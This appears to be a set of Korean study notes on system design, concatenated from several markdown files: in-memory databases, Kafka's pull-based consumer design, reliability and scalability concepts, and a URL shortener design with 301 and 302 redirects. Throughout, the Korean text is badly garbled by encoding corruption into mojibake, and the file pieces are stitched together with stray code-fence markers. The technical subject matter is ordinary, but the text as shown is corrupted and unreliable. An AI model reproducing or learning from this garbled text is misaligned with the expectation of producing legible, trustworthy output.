์ธ๋ฉ๋ชจ๋ฆฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ์ฌ์์๋๋ ๊ฒฝ์ฐ ํน์ ํ๋์จ์ด๋ฅผ ์ฌ์ฉํ์ง ์๋๋ค๋ฉด ๋์คํฌ๋ ๋คํธ์ํฌ๋ฅผ ํตํด ๋ณต์ ๋ณธ์์ ์ํ๋ฅผ ๋ค์ ์ ์ฌํด์ผ ํ๋ค. ๋์คํฌ๋ฅผ ์ฌ์ฉํ๋๋ผ๋ ๋์คํฌ๋ ์ง์์ฑ์ ์ํ ์ถ๊ฐ ์ ์ฉ ๋ก๊ทธ๋ก๋ง ์ฌ์ฉ๋๊ณ ์๊ธฐ ๋๋ฌธ์ ์ฌ์ ํ ์ธ๋ฉ๋ชจ๋ฆฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ด๋ค. ๋์คํฌ์ ๊ธฐ๋กํ๋ ๋ฐฉ์์ ๋ฐฑ์
์ด ๊ฐ๋ฅํ๊ณ ์ธ๋ถ ์ ํธ๋ฆฌํฐ๋ฅผ ํตํด ๊ฒ์ฌ์ ๋ถ์์ ํ ์ ์๋ค๋ ์ด์ ๋ ์๋ค.
๋ณผํธ DB, MemSQL, Oracle TimesTen -> ๊ด๊ณํ ๋ชจ๋ธ์ ์ธ๋ฉ๋ชจ๋ฆฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค
RamCloud -> ์ง์์ฑ์๋ ์คํ์์ค ์ธ๋ฉ๋ชจ๋ฆฌ ํค-๊ฐ ์ ์ฅ์
Redis, CouchBase -> ๋น๋๊ธฐ๋ก ๋์คํฌ์ ๊ธฐ๋กํ์ฌ ์ฝํ ์ง์์ฑ์ ์ ๊ณต
์ธ๋ฉ๋ชจ๋ฆฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ ๋์คํฌ ๊ธฐ๋ฐ ์์ธ์ผ๋ก ๊ตฌํํ๊ธฐ ์ด๋ ค์ด ๋ฐ์ดํฐ ๋ชจ๋ธ์ ์ ๊ณตํ๋ค. ๋ํ ๋ฉ๋ชจ๋ฆฌ์ ๋ชจ๋ ๋ฐ์ดํฐ๋ฅผ ์ ์งํ๊ธฐ ๋๋ฌธ์ ๊ตฌํ์ด ๋น๊ต์ ๊ฐ๋จํ๋ค.
์ต๊ทผ ์ฐ๊ตฌ์ ๋ฐ๋ฅด๋จ ์ธ๋ฉ๋ชจ๋ฆฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ํคํ
์ฒ๊ฐ ๋์คํฌ ์ค์ฌ ์ํคํ
์ฒ์์ ๋ฐ์ํ๋ ์ค๋ฒํค๋ ์์ด ๊ฐ์ฉํ ๋ฉ๋ชจ๋ฆฌ๋ณด๋ค ๋ ํฐ ๋ฐ์ดํฐ์
์ ์ง์ํ๊ฒ๋ ํ์ฅํ ์ ์๋ค.
- ์ํฐ์บ์ฑ: ๋ฉ๋ชจ๋ฆฌ๊ฐ ์ถฉ๋ถํ์ง ์์ ๋ ๊ฐ์ฅ ์ต๊ทผ์ ์ฌ์ฉํ์ง ์์ ๋ฐ์ดํฐ๋ฅผ ๋ฉ๋ชจ๋ฆฌ์์ ๋์คํฌ๋ก ๋ด๋ณด๋ด๊ณ ๋์ค์ ํ์์ ๋ค์ ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฌ
```
kafka_consumer_design_push_vs_pull.md
```# Kafka Consumer Design : Push vs Pull
์นดํ์นด๋ ํ๋ก๋์๊ฐ ๋ธ๋ก์ปค๋ก ๋ฉ์์ง๋ฅผ ํธ์ํ๊ณ ์ปจ์๋จธ๊ฐ ๋ฉ์์ง๋ฅผ ๊ฐ์ ธ๊ฐ๋ Pull ๊ธฐ๋ฐ ์์คํ
์ด๋ค.
- Scribe, Apache Flume๊ณผ ๊ฐ์ ์์คํ
์ ๋ฐ๋๋ก ๋ฐ์ดํฐ๋ฅผ ๋ค์ด์คํธ๋ฆผ์ผ๋ก ํธ์ํ๋ ์์คํ
## Push ์์คํ
์ ๋จ์
- Push ๊ธฐ๋ฐ์ ์์คํ
์ ๋ธ๋ก์ปค๊ฐ ๋ฐ์ดํฐ๊ฐ ์ ์ก ์๋๋ฅผ ์กฐ์ ํ ์ ์๊ธฐ ๋๋ฌธ์ ์ฌ๋ฌ ์ปจ์๋จธ๋ฅผ ๋ค๋ฃจ๋๋ฐ ์ด๋ ค์์ด ์๋ค.
- ์ผ๋ฐ์ ์ผ๋ก ์ปจ์๋จธ๊ฐ ๊ฐ๋ฅํ ์ต๋์ ์๋๋ก ๋ฉ์์ง๋ฅผ ์ปจ์๋ฐ ํ๋ ๊ฒ์ด ๋ชฉํ์ด๋ค.
- ํ์ง๋ง, push ์์คํ
์์๋ ์ปจ์๋จธ๋ ์ปจ์๋ฐ ์๋๊ฐ ํ๋ก๋์
์๋๋ฅผ ๋ฐ๋ผ์ก์ง ๋ชปํ๋ ๊ฒฝํฅ์ด ์๋ค.(ํนํ DoS ๊ณผ ๊ฐ์ ๊ฒฝ์ฐ)
## Pull ์์คํ
์ ์ฅ์
- Pull ๊ธฐ๋ฐ์ ์์คํ
์ ์ปจ์๋จธ๊ฐ ๋ฉ์์ง๋ฅผ ์ปจ์๋ฐํ๋ ์๋๊ฐ ๋ค์ณ์ง๋๋ผ๋ ๋์ค์ ๋ฐ๋ผ์ก์ผ๋ฉด ๋๋ค๋ ์ฅ์ ์ด ์๋ค.
- ๋ค์ณ์ง๋ ๊ฒ์ lag๋ฅผ ํตํด ์ ์ ์๋ค.
- ๋ฐ์ดํฐ๋ฅผ batching ์ญํ ์ ์ปจ์๋จธ๊ฐ ํ๋ค.
- Push ๊ธฐ๋ฐ์ ์์คํ
์ ์์ฒญ์ ์ฆ์ ๋ณด๋ด๊ฑฐ๋ ํน์ ๋ค์ด์คํธ๋ฆผ ์ปจ์๋จธ๊ฐ ์ฆ์ ์ฒ๋ฆฌํ ์ ์์์ง ๋ฌด๊ดํ๊ฒ ๋ฐ์ดํฐ๋ฅผ ๋ชจ์๋ค๊ฐ ๋์ค์ ์ ์กํ๋ค. ๋ฎ์ ๋ ์ดํด์๋ฅผ ์ํด ์ค์ ๋์ด ํ๋ฒ์ ํ๋์ ๋ฉ์์ง๋ง ๋ณด๋ด๊ฒ ๋๋ฉด ๊ฒฐ๊ตญ ๋ฐ์ดํฐ๋ ๋จ์ง ์ ์ก๋ง์ ์ํด ๋ฒํผ ๋์ด ์๊ฒ ๋๊ณ ์ด๋ ๋ญ๋น๋ก ์ด์ด์ง๋ค.
- Pull ๊ธฐ๋ฐ์ ์์คํ
์ ์ปจ์๋จธ๊ฐ ๋ก๊ทธ์ ํ์ฌ ํฌ์ง์
์ดํ์ ๋ชจ๋ ๊ฐ๋ฅํ ๋ฉ์์ง๋ค์ ๊ฐ์ ธ๊ฐ๊ธฐ ๋๋ฌธ์ ์ด๋ฌํ ๋ฌธ์ ์ ์ ํด๊ฒฐํ๋ค. ๋ฐ๋ผ์ ๋ถํ์ํ ๋ ์ดํด์ ์์ด๋ ์ต์ ํ๋ ๋ฐฐ์นญ ํจ๊ณผ๋ฅผ ์ป์ ์ ์๋ค.
## ์นดํ์นด๋ Pull ์์คํ
์ ๋จ์ ์ ์ด๋ป๊ฒ ๊ทน๋ณตํ์๊น?
- ๋ธ๋ก์ปค์ ์๋ฌด๋ฐ ๋ฐ์ดํฐ๊ฐ ์์ ๊ฒฝ์ฐ ์ปจ์๋จธ๊ฐ ๋ฐ์ดํฐ๊ฐ ๋์ฐฉํ๋ ๊ฒ์ ๊ธฐ๋ค๋ฆฌ๋ฉฐ tight loop polling์ ํ๊ฒ ๋ ์ ์๋ค.
- ์ด๋ฐ ๋ฌธ์ ๋ฅผ ๋ง๊ธฐ ์ํด pull ์์ฒญ์๋ ๋ฐ์ดํฐ๊ฐ ๋์ฐฉํ ๋๊น์ง ๊ธฐ๋ค๋ฆฌ๋ "long poll"์์ ์ปจ์๋จธ ์์ฒญ์ ๋ง์ ์ ์๋ ํ๋ผ๋ฏธํฐ๊ฐ ์๋ค.
## end-to-end Pull ์์คํ
์ ์ด๋จ๊น?
- ํ๋ก๋์๋ ๋ก์ปฌ ๋ก๊ทธ์ write๋ฅผ ํ๊ณ , ๋ธ๋ก์ปค๋ ์ด๋ฅผ ๊ฐ์ ธ๊ฐ๊ณ , ์ปจ์๋จธ๋ ๋ธ๋ก์ปค์์ ๊ฐ์ ธ๊ฐ๋ค.
- ์ ์ฌํ ์ ํ์ผ๋ก "store-and-forward" ํ๋ก๋์๊ฐ ์ข
์ข
์ ์๋๋ค
- ํฅ๋ฏธ๋กญ์ง๋ง ์์ฒ๊ฐ์ ํ๋ก๋์๊ฐ ์กด์ฌํ ์ ์๋ ์นดํ์นด์ ์ ์ฆ์ผ์ด์ค์๋ ์ ํฉํ์ง ์๋ค.
- ํฐ ๊ท๋ชจ๋ก ์๊ตฌ ๋ฐ์ดํฐ ์์คํ
์ ์ด์ํ๋ ๊ฒฝํ์ ์ฌ๋ฌ ์ ํ๋ฆฌ์ผ์ด์
์ ๊ฑธ์น ์์คํ
๋ด์ ์์ฒ๊ฐ์ ๋์คํฌ์ ๊ด์ฌํ๋ ๊ฒ๊ณผ ๊ฐ์ ๊ธฐ๋ถ์ ๋๋ผ๊ฒ ํ๊ณ , ์ค์ ๋ก ์์คํ
์ ๋ ์ ๋ขฐํ ์ ์๊ฒ ํ์ง ์์๊ณ ์ด์์ ์ด๋ ต๊ฒ๋ง ํ๋ค.
- ๊ทธ๋ฆฌ๊ณ ์ค์ ๋ก ํ๋ก๋์์ persistence ์์ด๋ ํฐ ๊ท๋ชจ์์ ๊ฐ๋ ฅํ SLA๋ก ํ์ดํ๋ผ์ธ์ ์ด์ํ ์ ์๋ค๋ ๊ฒ์ ๋ฐ๊ฒฌํ๋ค.
> ์๋ฌธ : https://kafka.apache.org/documentation/#design_pull
```
01.md
```# 01์ฅ ์ ๋ขฐํ ์ ์๊ณ ํ์ฅ ๊ฐ๋ฅํ๋ฉฐ ์ ์ง๋ณด์ํ๊ธฐ ์ฌ์ด ์ ํ๋ฆฌ์ผ์ด์
## ์ ๋ขฐ์ฑ
ํ๋์จ์ด๋ ์ํํธ์จ์ด ์ฌ์ง์ด ์ธ์ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋๋ผ๋ ์์คํ
์ ์ง์์ ์ผ๋ก ์ฌ๋ฐ๋ฅด๊ฒ ๋์ํด์ผ ํ๋ค.
๋ฌด์ธ๊ฐ ์๋ชป๋๋๋ผ๋ ์ง์์ ์ผ๋ก ์ฌ๋ฐ๋ฅด๊ฒ ๋์ํจ
- fault (๊ฒฐํจ) : ์๋ชป๋ ์ ์๋ ์ผ
- fault-tolerant(๋ด๊ฒฐํจ์ฑ) or resilient(ํ๋ ฅ์ฑ) : ๊ฒฐํจ์ ์์ธกํ๊ณ ๋์ฒํ ์ ์๋ ์์คํ
- ๊ฒฐํจ != ์ฅ์
- ์ฅ์ : ์ฌ์ฉ์์๊ฒ ์๋น์ค๋ฅผ ์ ๊ณตํ์ง ๋ชปํ๊ณ ์๋น์ค ์์คํ
์ ์ฒด๊ฐ ๋ฉ์ถ ๊ฒฝ์ฐ
- ๊ฒฐํจ์ด ๋ฐ์ํ ํ๋ฅ ์ 0์ผ๋ก ์ค์ด๋ ๊ฒ์ ๋ถ๊ฐ๋ฅ ๋ฐ๋ผ์ fault tolerantํ๊ฒ ์์คํ
์ ์ค๊ณํ๋ ๊ฒ์ด ๊ฐ์ฅ ์ข๋ค.
- ๊ณ ์์ ์ผ๋ก ๊ฒฐํจ์ ์ ๋ํ์ฌ ์์คํ
์ resilient๋ฅผ ์ง์์ ์ผ๋ก ํ๋ จํ๊ณ ํ
์คํธํ์ฌ ๊ฒฐํจ ๋ฐ์ ์ ์ฒ๋ฆฌํ ์ ์๋ค๋ ์์ ๊ฐ์ ๋์ธ ์ฌ๋ก -> ๋ทํ๋ฆญ์ค์ ์นด์ค์ค ๋ชฝํค
### ํ๋์จ์ด ๊ฒฐํจ
- ์ํํธ์จ์ด ๋ด๊ฒฐํจ์ฑ ๊ธฐ์ ์ ์ฌ์ฉํ๊ฑฐ๋ ํ๋์จ์ด ์ค๋ณต์ฑ์ ์ถ๊ฐํด ์ ์ฒด ์ฅ๋น์ ์์ค์ ๊ฒฌ๋ ์ ์๋ ์์คํ
์ผ๋ก ์ฎ๊ฒจ๊ฐ๊ณ ์๋ ์ถ์ธ
- ์ด๋ ๊ฒ ์ด์ํ๋ ์์คํ
์ ์ฅ๋น ์ฌ๋ถํ
๋ฑ์ ๊ฒฝ์ฐ์๋ ์์คํ
์ค๋จ ์์ด ์ด์ํ ์ ์๋ค๋ ์ฅ์ ์ด ์๋ค.
### ์ํํธ์จ์ด ์ค๋ฅ
- ๋น ๋ฅธ ํด๊ฒฐ์ฑ
์ด ์๋ค.
- ํ
์คํธ, ํ๋ก์ธ์ค ๊ฒฉ๋ฆฌ, ์
ํ ํ๋ง ๋ฑ์ด ๋ฌธ์ ํด๊ฒฐ์ ๋์์ ์ค ์ ์๋ค.
### ์ธ์ ์ค๋ฅ
- ํ๋์จ์ด ๊ฒฐํจ์ ์ค๋จ ์์ธ์ 10 ~ 25%์ ๊ทธ์น๋ ๋ฐ๋ฉด ์ด์์์ ์ค์ ์ค๋ฅ๋ ์ค๋จ์ ์ฃผ์ ์์ธ
- ์ค๋ฅ์ ๊ฐ๋ฅ์ฑ์ ์ต์ํ ํ๋ ๋ฐฉํฅ์ผ๋ก ์์คํ
์ ์ค๊ณ
- ์๋๋ฐ์ค ์ด์
- ์ฒ ์ ํ ํ
์คํธ
- ๋กค๋ฐฑ ์ ๊ณต
- ๋ชจ๋ํฐ๋ง
## ํ์ฅ์ฑ
์์คํ
์ ๋ฐ์ดํฐ ์, ํธ๋ํฝ ์, ๋ณต์ก๋๊ฐ ์ฆ๊ฐํ๋ฉด์ ์ด๋ฅผ ์ฒ๋ฆฌํ ์ ์๋ ์ ์ ํ ๋ฐฉ๋ฒ์ด ์์ด์ผ ํ๋ค. ์์คํ
์ด ํ์ฌ ์์ ์ ์ด๋ผ๊ณ ํด์ ๋ฏธ๋์๋ ์์ ์ ์ผ ๊ฒ์ด๋ผ๋ ๋ณด์ฅ์ ์๋ค.
"X๋ ํ์ฅ ๊ฐ๋ฅํ๋ค or ํ์ฅ ๋ถ๊ฐ๋ฅํ๋ค"๋ผ๋ ๋ง์ ์๋ฏธ๊ฐ ์๋ค. ํ์ฅ์ฑ์ ๋
ผํ๋ค๋ ๊ฒ์ "์์คํ
์ด ํน์ ๋ฐฉ์์ผ๋ก ์ปค์ง๋ฉด ์ด์ ๋์ํ๊ธฐ ์ํ ๋ฐฉ๋ฒ์ ๋ฌด์์ธ๊ฐ?" ํน์ "์ถ๊ฐ ๋ถํ๋ฅผ ๋ค๋ฃจ๊ธฐ ์ํด ์ปดํจํ
๋ฆฌ์์ค๋ ์ด๋ป๊ฒ ํฌ์
ํด์ผ ํ ๊น?" ์ ๊ฐ์ ์ง๋ฌธ์ ๊ณ ๋ คํ๋ค๋ ์๋ฏธ๋ค.
### ๋ถํ ๊ธฐ์ ํ๊ธฐ
๋ถํ ์ฑ์ฅ ์ง๋ฌธ(๋ถํ๊ฐ ๋ ๋ฐฐ๋ก ๋๋ฉด ์ด๋ป๊ฒ ๋ ๊น?)์ ๋
ผ์ํ๋ ค๋ฉด ์์คํ
์ ํ์ฌ ๋ถํ๋ฅผ ๊ฐ๊ฒฐํ๊ฒ ๊ธฐ์ ํ ์ ์์ด์ผ ํ๋ค. ๋ถํ๋ load parameter(๋ถํ ๋งค๊ฐ๋ณ์)๋ผ๊ณ ๋ถ๋ฆฌ๋ ๋ช ๊ฐ์ ์ซ์๋ก ๋ํ๋ผ ์ ์๋ค.
์์คํ
๋ง๋ค ์ ํฉํ load parameter๋ ๋ฌ๋ผ์ง ์ ์๋ค. load parameter ์๋ก ์น ์๋ฒ์ ์ด๋น ์์ฒญ ์, ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ฝ๊ธฐ ๋ ์ฐ๊ธฐ ๋น์จ, ๋ํ๋ฐฉ์ active user, ์บ์ ์ ์ค๋ฅ ๋ฑ์ด ์๋ค. ํ๊ท ์ ์ธ ์์น๊ฐ ์ค์ํ ์๋ ์๊ณ , ์์ค์ ๊ทน๋จ์ ์ธ ๊ฒฝ์ฐ๊ฐ ๋ณ๋ชฉ ํ์์ ์์ธ์ผ ์๋ ์๋ค.
### ์ฑ๋ฅ ๊ธฐ์ ํ๊ธฐ
์์คํ
๋ถํ๋ฅผ ๊ธฐ์ ํ๋ฉด ๋ถํ ์ฆ๊ฐ์ ์ด๋ค ์ผ์ด ๋ฐ์ํ ์ ์๋์ง ์์๋ณผ ์ ์๋ค. ๋ค์ ๋๊ฐ์ง ๋ฐฉ๋ฒ์ผ๋ก ์ดํด ๋ณผ ์ ์๋ค.
- ๋ถํ ๋งค๊ฐ๋ณ์๋ฅผ ์ฆ๊ฐ์ํค๊ณ , ์์คํ
์์์ ์ ์งํ๋ฉด ์์คํ
์ฑ๋ฅ์ ์ด๋ค ์ํฅ์ด ๊ฐ๊น?
- ๋ถํ ๋งค๊ฐ๋ณ์๋ฅผ ์ฆ๊ฐ์์ผฐ์ ๋ ์ฑ๋ฅ์ ์ ์งํ๋ ค๋ฉด ์์์ ์ผ๋ง๋ ๋๋ ค์ผ ํ ๊น?
๋ ์ง๋ฌธ ๋ชจ๋ ์ฑ๋ฅ ์์น๊ฐ ํ์ํ๋ค. ์์คํ
์ฑ๋ฅ์ ๋ํด ๊ฐ๋จํ ์ดํด๋ณด์.
ํ๋ก๊ณผ ๊ฐ์ ์ผ๊ด ์ฒ๋ฆฌ ์์คํ
์ ๋ณดํต ์ฒ๋ฆฌ๋(throughput)์ ๊ด์ฌ์ ๊ฐ์ง๋ ๋ฐ๋ฉด ์จ๋ผ์ธ ์์คํ
์์๋ ์๋น์ค ์๋ต ์๊ฐ(response time) ์ฆ ํด๋ผ์ด์ธํธ๊ฐ ์์ฒญ์ ๋ณด๋ด๊ณ ์๋ต์ ๋ฐ๋ ์ฌ์ด์ ์๊ฐ์ ๋ ๊ด์ฌ์ ๊ฐ๋๋ค.
ํด๋ผ์ด์ธํธ๊ฐ ์์ฒญ์ ๋ณด๋ด๊ณ ๋ฐ์ ๋ ๋ง๋ค ์๋ต์๊ฐ์ ๋ฌ๋ผ์ง๋ค. ๋ฐ๋ผ์ ์๋ต ์๊ฐ์ ๋จ์ผ ์ซ์๊ฐ ์๋๋ผ ์ธก์ ๊ฐ๋ฅํ ๊ฐ์ ๋ถํฌ๋ก ์๊ฐํด์ผ ํ๋ค.
์ฌ์ฉ์๊ฐ ๋ณดํต ์ผ๋ง๋ ์ค๋ซ๋์ ๊ธฐ๋ค๋ ค์ผ ํ๋์ง ์๊ณ ์ถ๋ค๋ฉด ์ค์๊ฐ์ด ์ข์ ์งํ๋ค. ์ฌ์ฉ์ ์์ฒญ์ ์ ๋ฐ์ ์ค์๊ฐ ์๋ต ์๊ฐ ๋ฏธ๋ง์ผ๋ก ์ ๊ณต๋๊ณ , ๋๋จธ์ง ๋ฐ์ ์ค์๊ฐ๋ณด๋ค ์ค๋ ๊ฑธ๋ฆฐ๋ค. ์ค์๊ฐ์ 50๋ถ์๋ก์ p50์ผ๋ก ์ถ์ฝํ ์ ์๋ค.
ํน์ด ๊ฐ์ด ์ผ๋ง๋ ์ข์ง ์์์ง๋ฅผ ํ์ธํ๋ ค๋ฉด ์์ ๋ฐฑ๋ถ์(์ผ๋ฐ์ ์ผ๋ก p95, p99, p100)๋ฅผ ์ดํด๋ณด๋ ๊ฒ๋ ์ข๋ค.
๊ผฌ๋ฆฌ ์ง์ฐ ์๊ฐ(tail latency)๋ก ์๋ ค์ง ์์ ๋ฐฑ๋ถ์ ์๋ต ์๊ฐ์ ์๋น์ค ์ฌ์ฉ์ ๊ฒฝํ์ ์ง์ ์ ์ธ ์ํฅ์ ์ฃผ๊ธฐ ๋๋ฌธ์ ์ค์ํ๋ค.
๋ฐฑ๋ถ์๋ SLO(Service Level Objective, ์๋น์ค ์์ค ๋ชฉํ)์ SLA(Service Level Agreement, ์๋น์ค ์์ค ํ์ฝ์)์ ์์ฃผ ์ฌ์ฉํ๊ณ ๊ธฐ๋ ์ฑ๋ฅ๊ณผ ์๋น์ค ๊ฐ์ฉ์ฑ์ ์ ์ํ๋ ๊ณ์ฝ์์๋ ์์ฃผ ๋ฑ์ฅํ๋ค.
### ๋ถํ ๋์ ์ ๊ทผ ๋ฐฉ์
- ์ฉ๋ ํ์ฅ(Scaling Up), ์์ง ํ์ฅ(Vertical Scaling)
- ๊ท๋ชจ ํ์ฅ(Scale out), ์ํ ํ์ฅ(Horizontal Scaling)
๋ค์์ ์ฅ๋น์ ๋ถํ๋ฅผ ๋ถ์ฐํ๋ ์ํคํ
์ฒ๋ฅผ ๋น๊ณต์ (shared-noting) ์ํคํ
์ฒ๋ผ๊ณ ๋ถ๋ฅธ๋ค.
์ผ๋ถ ์์คํ
์ ํ๋ ฅ์ (elastic)์ด๋ค. ๋ถํ๋ฅผ ๊ฐ์งํ๋ฉด ์ปดํจํ
์์์ด ์๋์ผ๋ก ์ถ๊ฐ๋๋ค. ๊ทธ๋ ์ง ๋ชปํ ์์คํ
์ ์ฌ๋์ด ์๋์ผ๋ก ํ์ฅํด์ผํ๋ค. ํ๋ ฅ์ ์ธ ์์คํ
์ ๋ถํ๊ฐ ์์ธก ๋ถ๊ฐ๋ฅํ ์์ค์ผ๋ก ๋์ ๊ฒฝ์ฐ ์ ์ฉํ๊ณ , ์๋์ผ๋ก ํ์ฅํ๋ ์์คํ
์ ๋ ๊ฐ๋จํ๊ณ ์์ธก ๋ถ๊ฐ๋ฅํ ์ผ์ด ๋ ์ ๋ค.
stateless ์๋น์ค๋ฅผ ์ฌ๋ฌ ์ฅ๋น์ ๋ฐฐํฌํ๋ ์ผ์ ๊ฐ๋จํ์ง๋ง, stateful ์๋น์ค๋ฅผ ๋ถ์ฐ ์ค์นํ๋ ์ผ์ ๋ณต์ก๋๊ฐ ๋๋ค. ์ด๋ฌํ ์ด์ ๋ก ํ์ฅ ๋น์ฉ์ด๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ๋ถ์ฐํด์ผํ๋ ์๊ตฌ๊ฐ ์์ ๋๊น์ง๋ ๋จ์ผ ๋
ธ๋๋ก ์ด์ํ๋ ๊ฒ์ด ์ต๊ทผ๊น์ง์ ํต๋
์ด์๋ค. ํ์ง๋ง ๋ถ์ฐ ์์คํ
์ ์ํ ๋๊ตฌ์ ์ถ์ํ๊ฐ ๋ฐ์ ํ์ฌ ์ด ํต๋
์ด ์ผ๋ถ ์ ํ๋ฆฌ์ผ์ด์
์์๋ ๋ฐ๋์๋ค. ํฅํ์๋ ๋์ฉ๋ ๋ฐ์ดํฐ์ ํธ๋ํฝ์ ๋ค๋ฃจ์ง ์๋ ์ฌ๋ก์์๋ ๋ถ์ฐ ๋ฐ์ดํฐ ์์คํ
์ด ๊ธฐ๋ณธ ์ํคํ
์ฒ๋ก ์๋ฆฌ ์ก์ ํ๋ฅ ์ด ๋๋ค.
๋๊ท๋ชจ๋ก ๋์ํ๋ ์์คํ
์ ์ํคํ
์ฒ๋ ํด๋น ์์คํ
์ ์ฌ์ฉํ๋ ์ ํ๋ฆฌ์ผ์ด์
์ ํนํ ๋์ด ์์ด ๋ฒ์ฉ์ ์ด๊ณ ๋ชจ๋ ์ํฉ์์ ์ฌ์ฉํ ์ ์๋ (one-size-fits-all) ํ์ฅ ์ํคํ
์ฒ (magic scaling source)๋ ์๋ค.
ํน์ ์ ํ๋ฆฌ์ผ์ด์
์ ์ ํฉํ ํ์ฅ์ฑ์ ๊ฐ์ถ ์ํคํ
์ฒ๋ ์ฃผ์ ๋์์ด ๋ฌด์์ด๊ณ ์ ์ฌ์ฉํ์ง ์๋ ๋์์ด ๋ฌด์์ธ์ง์ ๋ํ ๊ฐ์ ์ ๋ฐํ์ผ๋ก ๋ง๋ค์ด์ง๋ค. ์ด ๊ฐ์ ์ ๊ณง ๋ถํ ๋งค๊ฐ๋ณ์๊ฐ ๋๋ค. ์ด ๊ฐ์ ์ด ์๋ชป๋๋ฉด ์์ง๋์ด๋ง์ ์ต์
์ ๊ฒฝ์ฐ ์ญํจ๊ณผ๋ฅผ ๋ณ๋๋ค. ์คํํธ์
์ด๊ธฐ๋ ๊ฒ์ฆ๋์ง ์์ ์ ํ์ ๋ง๋ค ๋์๋ ๋ฏธ๋์ ๋ถํ์ ๊ฐ์ ํด์ ํ์ฅํ๊ธฐ ๋ณด๋ค๋ ๋น ๋ฅด๊ฒ ๋ฐ๋ณตํด์ ์ ํ ๊ธฐ๋ฅ์ ๊ฐ์ ํ๋ ๊ฒ์ด ๋ ์ค์ํ๋ค.```
chap8.md
```# 8์ฅ URL ๋จ์ถํค ์ค๊ณ
## 1๋จ๊ณ ๋ฌธ์ ์ดํด ๋ฐ ์ค๊ณ ๋ฒ์ ํ์
1. URL ๋จ์ถ: ์ฃผ์ด์ง ๊ธด URL์ ํจ์ฌ ์งง๊ฒ ์ค์ธ๋ค.
2. URL ๋ฆฌ๋๋ ์
: ์ถ์ฝ๋ URL๋ก HTTP ์์ฒญ์ด ์ค๋ฉด ์๋ URL๋ก ์๋ด
3. ๋์ ๊ฐ์ฉ์ฑ๊ณผ ๊ท๋ชจ ํ์ ์ฑ, ๊ทธ๋ฆฌ๊ณ ์ฅ์ ๊ฐ๋ด๊ฐ ์๊ตฌ๋จ
## 2๋จ๊ณ: ๊ฐ๋ต์ ์ค๊ณ์ ์ ์ ๋ฐ ๋์ ๊ตฌํ๊ธฐ
#### API ์๋ํฌ์ธํธ
URL ๋จ์ถ๊ธฐ๋ ๊ธฐ๋ณธ์ ์ผ๋ก ๋ ๊ฐ์ ์๋ํฌ์ธํธ๋ฅผ ํ์๋ก ํ๋ค.
1. URL ๋จ์ถ์ฉ ์๋ํฌ์ธํธ: ์ ๋จ์ถ URL์ ์์ฑํ๊ณ ์ ํ๋ ํด๋ผ์ด์ธํธ๋ ์ด ์๋ํฌ์ธํธ์ ๋จ์ถํ URL์ ์ธ์๋ก ์ค์ด์ POST๋ก ๋ณด๋ด์ผ ํ๋ค.
2. URL ๋ฆฌ๋๋ ์
์ฉ ์๋ํฌ์ธํธ: ๋จ์ถ URL์ ๋ํด์ HTTP ์์ฒญ์ด ์ค๋ฉด ์๋ URL๋ก ๋ณด๋ด์ฃผ๊ธฐ ์ํ ์ฉ๋์ ์๋ํฌ์ธํธ\
#### URL ๋ฆฌ๋๋ ์
๋จ์ถ URL์ ๋ฐ์ ์๋ฒ๋ ๊ทธ URL์ ์๋ URL๋ก ๋ฐ๊ฟ์ 301 ์๋ต์ Location ํค๋์ ๋ฃ์ด ๋ฐํํ๋ค. ์ฌ๊ธฐ์ 301๊ณผ 302 ๋ชจ๋ ๋ฆฌ๋๋ ์
์๋ต์ด๊ธด ํ์ง๋ง ์ฐจ์ด๊ฐ ์๋ค.
- 301 Permanetly Moved: ํด๋น URL์ ๋ํ HTTP ์์ฒญ์ ์ฒ๋ฆฌ ์ฑ
์์ด ์๊ตฌ์ ์ผ๋ก Location ํค๋์ ๋ฐํ๋ URL๋ก ์ด์ ๋๋ค๋ผ๋ ์๋ต. ์๊ตฌ์ ์ผ๋ก ์ด์ ๋ ๊ฒ์ด๋ฏ๋ก, ๋ธ๋ผ์ฐ์ ๋ ์ด ์๋ต์ ์บ์ํ๋ค. ๋ฐ๋ผ์ ์ถํ ๊ฐ์ ๋จ์ถ URL์ ์์ฒญ์ ๋ณด๋ผ ํ์๊ฐ ์์ ๋ ๋ธ๋ผ์ฐ์ ๋ ์บ์๋ ์๋ URL๋ก ์์ฒญ์ ๋ณด๋ด๊ฒ ๋๋ค.
- 302 Found: ์ผ์์ ์ผ๋ก Location ํค๋๊ฐ ์ง์ ํ๋ URL๋ก ์ฒ๋ฆฌํ๋ค. ๋ฐ๋ผ์ ํด๋ผ์ด์ธํธ์ ์์ฒญ์ ์ธ์ ๋ ๋จ์ถ URL์ ๋จผ์ ๋ณด๋ด์ง ํ ์๋ URL๋ก ๋ฆฌ๋๋ ์
๋๋ค.
๋ ์๋ต์ ์ฅ๋จ์
- 301 Permanent Moved: ์๋ฒ ๋ถํ๋ฅผ ์ค์ผ ๋ ์ฉ์ด. ์ฒซ ๋ฒ์งธ ์์ฒญ๋ง ๋จ์ถ URL ์๋ฒ๋ก ์ ์ก๋๋ค.
- 302 Found: ํธ๋ํฝ ๋ถ์์ด ์ค์ํ ๋ ์ฉ์ด: ํด๋ฆญ ๋ฐ์๋ฅ , ๋ฐ์ ์์น ์ถ์ ์ ์ ๋ฆฌ
URL ๋ฆฌ๋๋ ์
์ ๊ตฌํํ๋ ๊ฐ์ฅ ์ง๊ด์ ์ธ ๋ฐฉ๋ฒ์ `<๋จ์ถ URL, ์๋ URL>` ์ ์์ ํด์ ํ
์ด๋ธ์ ์ ์ฅํ๋ ๊ฒ์ด๋ค. ์ด ๋ฐฉ๋ฒ์ ์ฌ์ฉํ๋ค๊ณ ๊ฐ์ ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ด ๋ง๋ค ์ ์๋ค.
- ์๋ URL = ํด์ํ
์ด๋ธ(๋จ์ถURL)
- 301 ๋๋ 302 ์๋ต Location ํค๋์ ์๋ URL์ ๋ฃ์ ํ ์ ์ก
#### URL ๋จ์ถ
๋จ์ถ URL: `www.tinyurl.com/{hashValue}`
